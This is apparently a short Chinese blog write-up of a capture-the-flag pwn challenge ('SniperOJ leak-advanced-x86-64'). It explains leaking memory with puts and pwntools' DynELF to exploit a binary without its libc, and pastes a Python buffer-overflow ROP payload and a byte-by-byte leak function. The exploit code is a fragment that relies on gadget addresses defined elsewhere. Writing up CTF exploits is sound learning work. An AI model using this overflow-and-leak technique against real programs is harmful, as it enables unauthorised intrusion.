SniperOJ-leak-advanced-x86-64

 借助DynELF实现无libc的漏洞利用小结

1.leak-advance与leak的区别在于一个可用函数是write,一个可用函数是puts.write比puts更容易利用,虽然write需要的参数多,但可以找到gadgets成功利用。

2.puts的原型是puts(addr),即将addr作为起始地址输出字符串,直到遇到“\x00”字符为止。

   缺点:puts函数输出的数据长度是不受控的,只要我们输出的信息中包含\x00截断符,输出就会终止,且会自动将“\n”追加到输出字符串的末尾。

   优点:需要的参数少,只有1个,无论在x32还是x64环境下,都容易调用。

3.puts_exp与write_exp区别就在leak函数的编写,上边推荐的链接里已经详细说明了,我这里就不班门弄斧了,就把这个题目的leak函数贴一下。

def prepare(address):
  payload = "A" * (0x10 + 8)
  payload += p64(rdi_ret)
  payload += p64(address)
  payload += p64(puts_plt)
  payload += p64(start_addr)
  p.recvuntil('Dancing in shackles, Right?\n') 
  p.send(payload)

def leak(address):
  data = '' 
  prepare(address)
  up = ""
  while True:
    c = p.recv(1)
    if up == '\n' and c == "W":
      data = data[:-1]
      data += "\x00"
      break
    else:
      data += c
    up = c
  data = data[:4]
  return data

  

 

posted @ 2017-05-26 09:12  五千年木  阅读(307)  评论(0编辑  收藏  举报